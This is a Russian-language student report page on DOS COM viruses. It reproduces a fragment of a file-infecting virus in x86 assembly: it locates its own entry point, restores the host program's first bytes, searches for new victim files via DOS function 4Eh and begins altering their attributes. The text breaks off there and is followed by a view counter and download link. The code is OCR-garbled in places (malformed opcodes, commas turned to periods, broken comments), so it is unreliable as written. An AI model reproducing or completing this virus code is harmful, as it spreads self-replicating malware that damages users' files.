Доклад: СОМ-вирусы

начинаются с адреса 100h)

org 100h

start:

;Имитируем зараженный СОМ-файл.
;Тело вируса начинается с метки la
; jmp la

db OE9h ;Код команды JMP

dw offset la-offset real
real:

[Выходим из программы
mov ah,4Ch
int 21 h

;3десь начинается тело вируса
la:

;Сохраняем регистры и флаги
pushf
pusha
push ds es

.Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

call MySelf
MySelf:

pop bp

восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al

[Дальнейшая задача вируса - найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

.Ищем первый файл по шаблону имени
mov ah,4Eh

mov dx.offset fname-offset myself
add dx.bp

mov cx,00100111b
int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit
attributes:

.Читаем оригинальные атрибуты файла
mov ax,4300h

mov dx,9Eh .Адрес имени файла
int 21 h

.Сохраняем оригинальные атрибуты файла
push ex

•.Устанавливаем новые атрибуты файла
mov ax,4301h

К-во Просмотров: 607
Бесплатно скачать Доклад: СОМ-вирусы